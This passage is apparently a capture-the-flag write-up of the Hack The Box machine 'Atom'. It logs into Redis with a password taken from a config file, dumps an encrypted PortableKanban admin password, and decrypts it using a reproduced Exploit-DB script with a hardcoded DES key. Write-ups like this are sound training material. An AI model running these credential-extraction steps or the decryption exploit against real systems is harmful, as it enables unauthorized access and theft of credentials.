07/01/2016  03:52 PM            12,618 Redis on Windows Release Notes.docx
07/01/2016  03:52 PM            16,769 Redis on Windows.docx
07/01/2016  03:55 PM           406,016 redis-benchmark.exe
07/01/2016  03:55 PM         4,370,432 redis-benchmark.pdb
07/01/2016  03:55 PM           257,024 redis-check-aof.exe
07/01/2016  03:55 PM         3,518,464 redis-check-aof.pdb
07/01/2016  03:55 PM           268,288 redis-check-dump.exe
07/01/2016  03:55 PM         3,485,696 redis-check-dump.pdb
07/01/2016  03:55 PM           482,304 redis-cli.exe
07/01/2016  03:55 PM         4,517,888 redis-cli.pdb
07/01/2016  03:55 PM         1,553,408 redis-server.exe
07/01/2016  03:55 PM         6,909,952 redis-server.pdb
04/02/2021  07:39 AM            43,962 redis.windows-service.conf
04/02/2021  07:37 AM            43,960 redis.windows.conf
07/01/2016  09:17 AM            14,265 Windows Service Documentation.docx
              16 File(s)     25,902,070 bytes
               3 Dir(s)   5,663,842,304 bytes free

C:\Program Files\Redis>type redis.windows.conf
type redis.windows.conf
# Redis configuration file example
requirepass kidvscat_yes_kidvscat
...[snip]...

This gives us a password that we can authenticate with!

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> INFO
# Server
redis_version:3.0.504
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a4f7a6e86f2d60b3
redis_mode:standalone
os:Windows  
arch_bits:64
multiplexing_api:WinSock_IOCP
process_id:1544
run_id:d4c9cb03d154fdb9c0b0fb4b5d0df322cf3ff43c
tcp_port:6379
uptime_in_seconds:67618
uptime_in_days:0
hz:10
lru_clock:14094191
config_file:C:\Program Files\Redis\redis.windows-service.conf

...[snip]...

10.10.10.237:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) "kidvscat_yes_kidvscat"
  5) "masterauth"

...[snip]...
  

However, there are no keys containing a new password:

10.10.10.237:6379> SELECT 0
OK
10.10.10.237:6379> SELECT 1
OK
10.10.10.237:6379[1]> KEYS *
(empty array)
10.10.10.237:6379[1]> SELECT 2
OK
10.10.10.237:6379[2]> KEYS *
(empty array)
10.10.10.237:6379[2]> SELECT 3
OK
10.10.10.237:6379[3]> KEYS *
(empty array)
10.10.10.237:6379[3]> SELECT 4
OK
10.10.10.237:6379[4]> KEYS *
(empty array)
10.10.10.237:6379[4]> 
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ redis-cli -h 10.10.10.237 -p 6379 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379> keys *
1) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
2) "pk:ids:MetaDataClass"
3) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
4) "pk:ids:User"
10.10.10.237:6379> 

I wasn’t sure where to go from here. I took a couple of hints which suggested searching the keys was the right thing to do, so I wasn’t sure where I was going wrong. I reset the box, and got the same result. I thought maybe PortableKanban had to be run to populate the keys entry, but wasn’t sure how to do that.

RedisDump

Instead, I looked for an alternative tool to dump the data - which is always a good thing to do if you’re stuck but feel you’re in the right direction.

I looked at redis-dump, which required Node to be installed:

┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ which npm
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ node -v
Command 'node' not found, but can be installed with:
sudo apt install nodejs
Do you want to install it? (N/y)y
sudo apt install nodejs
...[snip]...
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ node -v
v12.21.0
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ npm -v
Command 'npm' not found, but can be installed with:
sudo apt install npm
Do you want to install it? (N/y)y
sudo apt install npm
...[snip]...

Then we can install and run it:

┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ sudo npm install redis-dump -g
┌──(mac㉿kali)-[~/Documents/HTB/atom/to-serve]
└─$ cd .. && redis-dump -h 10.10.10.237 -a kidvscat_yes_kidvscat > dump.txt
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls
 client1   dump.txt   heed_source              "heedv1'Setup1.0.2.php.exe"   latest.yml.old       nmap            send-payload.py   to-serve
 client2   heed.gpr  'heedv1 Setup 1.0.1.exe'   latest.yml                   latest.yml.php       redis-dump.py   send-payload.sh  "to-serveheed'setup.exe"
 client3   heed.rep  "heedv1'Setup1.0.1.exe"    latest.yml.example           latest.yml.working   results         smb               UAT_Testing_Procedures.pdf
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ cat dump.txt 
DEL     pk:ids:MetaDataClass
SADD    pk:ids:MetaDataClass ffffffff-ffff-ffff-ffff-ffffffffffff
DEL     pk:ids:User
SADD    pk:ids:User e8e29158-d70d-44b1-a1ba-4949d52790a0
SET     pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff '{"Id":"ffffffffffffffffffffffffffffffff","SchemaVersion":"4.2.0.0","SchemaVersionModified":"\\/Date(1617420120000-0700)\\/","SchemaVersionModifiedBy":"e8e29158d70d44b1a1ba4949d52790a0","SchemaVersionChecked":"\\/Date(-62135596800000-0000)\\/","SchemaVersionCheckedBy":"00000000000000000000000000000000","TimeStamp":637530169345346438}'
SET     pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0 '{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin","Inactive":false,"TimeStamp":637530169606440253}'

We get a new password: Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

Now we can run the decrypt script:

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ searchsploit portablekanban
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval                                                                                                           | windows/local/49409.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ searchsploit -m windows/local/49409.py
  Exploit: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
      URL: https://www.exploit-db.com/exploits/49409
     Path: /usr/share/exploitdb/exploits/windows/local/49409.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /home/mac/Documents/HTB/atom/49409.py

We have to edit the script to use just one password (as we don’t have a .pk3 file to supply):

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ cat 49409.py 
# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
# Date: 9 Jan 2021
# Exploit Author: rootabeta
# Vendor Homepage: The original page, https://dmitryivanov.net/, cannot be found at this time of writing. The vulnerable software can be downloaded from https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on. 

# PortableKanBan stores credentials in an encrypted format
# Reverse engineering the executable allows an attacker to extract credentials from local storage
# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials

import json
import base64
from des import * #python3 -m pip install des
import sys

def decode(hash):
	hash = base64.b64decode(hash.encode('utf-8'))
	key = DesKey(b"7ly6UznJ")
	return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

print("{}:{}".format("Administrator",decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi")))

Then install the required libraries and run it

┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 -m pip install des
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ python3 49409.py 
Administrator:kidvscat_admin_@123

Now we can use evil-winrm:

And grab the flag:

That’s the box!

And here is the matrix rating I gave it: